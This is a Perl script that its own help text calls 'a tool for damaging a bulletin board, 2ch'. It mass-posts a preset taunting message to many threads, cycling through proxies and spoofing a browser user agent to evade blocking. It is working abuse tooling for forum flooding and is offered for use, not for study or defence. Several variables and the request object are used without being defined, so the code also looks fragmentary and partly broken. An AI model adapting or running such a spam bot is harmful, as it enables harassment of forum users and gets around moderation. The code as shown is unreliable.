#!/usr/bin/perl -w # You can redistribute it and/or modify it under either the terms of the GPL.
require 5.003; use strict; use Jcode; use LWP::UserAgent; use CGI::Lite; use Getopt::Long; use Fcntl qw(:DEFAULT :flock);
my $SCRIPT = ($0 =~ /([^\/]+)$/)[0]; my $VERSION = "0.03.03"; my $WGET = "/usr/bin/wget"; my $NAME = $SCRIPT; my $MAIL = $VERSION; my $BODY = "%3E%3E1%20itteyoshi"; my $NUMBER = 100; my $INTERVAL = 10; my $VERBOSE = 1; my $PROXY = "proxy1.host.nil:8080/proxy2.host.nil:8080/proxy3.host.nil:8080";
# display help and exit sub disp_help { print <<EOF; $SCRIPT $VERSION, a tool for damaging a bulletin board, 2ch. Usage: $SCRIPT [OPTION]... [URL]...
Mandatory arguments to long options are mandatory for short options too.
Startup: -V, --version display the version of $SCRIPT and exit. -h, --help print this help.
Logging and input file: -d, --debug print debug output. -v, --verbose be verbose (this is the default). -n, --name=NAME set name to NAME. -m, --mail=MAIL set mail address to MAIL. -b, --body=BODY set message body to BODY. -p, --proxy=PROXY set http proxy to PROXY.
Post: -P, --no-post don't post to server. -N, --number=NUMBER set number of posting threads to NUMBER. -i, --interval=SECONDS wait SECONDS between posts. EOF
exit; }
# display error and exit sub disp_error { my ($message) = @_;
print_time(); print STDERR "$message\n";
exit; }
# print time sub print_time { my ($sec, $min, $hour) = (localtime)[0..2]; print STDERR sprintf("--%02d:%02d:%02d-- ", $hour, $min, $sec); }
# post thread sub post_thread { my ($bbs, $thread, $proxy) = @_; my ($time, $content, $res);
print_time() if $DEBUG; print STDERR "Setting contents to send... " if $DEBUG;
$NAME = url_encode(Jcode->new($NAME, "euc")->sjis) if $NAME; $MAIL = url_encode(Jcode->new($MAIL, "euc")->sjis) if $MAIL; $time = time; $content = "submit=%8F%91%82%AB%8D%9E%82%DE&FROM=$NAME&mail=$MAIL&". "MESSAGE=$BODY&bbs=$bbs&key=$thread&time=". $time;
print STDERR "done\n" if $DEBUG;
print_time() if $DEBUG; print STDERR "Setting HTTP header... " if $DEBUG;
print STDERR "done\n" if $DEBUG;
if($NO_POSTING){ print_time() if $DEBUG; print STDERR "No posting mode.\n" if $DEBUG; print STDERR "$NAME:$MAIL:".sprintf("%02d/%02d/%02d %02d:%02d\n", substr((localtime)[5], 1, 2), reverse((localtime)[1..4])) if $DEBUG; print STDERR Jcode->new($BODY, "sjis")->euc. "\n" if $DEBUG; print_time() if $DEBUG; print STDERR "Done.\n" if $DEBUG; print STDERR "." if $VERBOSE and !$DEBUG; } else { my $ua;
print_time() if $DEBUG; print STDERR "Connecting $SERVER... " if $DEBUG;
eval { $ua = LWP::UserAgent->new; $ua->proxy("http", "http://$proxy/") if $proxy; $ua->agent("Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"); }; disp_error("connect error") if $@;
print STDERR "\tServer:\t$SERVER\n" if $DEBUG; print STDERR "\tProxy:\t$proxy\n" if $DEBUG and $proxy; print STDERR "\tName:\t$NAME\n" if $DEBUG and $NAME; print STDERR "\tMail:\t$MAIL\n" if $DEBUG and $MAIL; print STDERR "\tBody:\t$BODY\n" if $DEBUG; print STDERR "\tBBS:\t$bbs\n" if $DEBUG; print STDERR "\tThread:\t$thread\n" if $DEBUG; print STDERR "\tTime:\t$time\n" if $DEBUG;
print_time() if $DEBUG; print STDERR "Sending request... " if $DEBUG;
eval { # Pass request to the user agent and get a response back $res = $ua->request($req); }; disp_error("post error") if $@;
print STDERR "done\n" if $DEBUG;
# Check the outcome of the response if ($res->is_success) { print_time() if $DEBUG; print $res->content if $DEBUG; print STDERR "." if $VERBOSE and !$DEBUG; } else { print_time() if $DEBUG; print "Bad luck this time\n" if $DEBUG; print STDERR "x" if $VERBOSE and !$DEBUG; } } }
print_time() if $VERBOSE and $NO_POSTING; print STDERR "No posting mode.\n" if $VERBOSE and $NO_POSTING;
foreach $thread (@$threadref) { print STDERR sprintf("\n %4d ->", $i) if $i % 50 == 0 and $VERBOSE and !$DEBUG; print STDERR " " if $i % 10 == 0 and $VERBOSE and !$DEBUG; post_thread($bbs, $thread, $PROXY[$i % ($#PROXY + 1)]); last if (++$i == $NUMBER); $BODY .= " "; print_time() if !$NO_POSTING and $DEBUG; print STDERR "Sleeping $INTERVAL sec... " if !$NO_POSTING and $DEBUG; sleep $INTERVAL if !$NO_POSTING; print STDERR "done.\n" if !$NO_POSTING and $DEBUG; }
print STDERR "\n\n" if $VERBOSE and !$DEBUG and !$NO_POSTING; print_time() if $VERBOSE and !$NO_POSTING; print STDERR "$i messages sent.\n" if $VERBOSE and !$NO_POSTING; print_time() if $VERBOSE; print STDERR "All done.\n" if $VERBOSE; }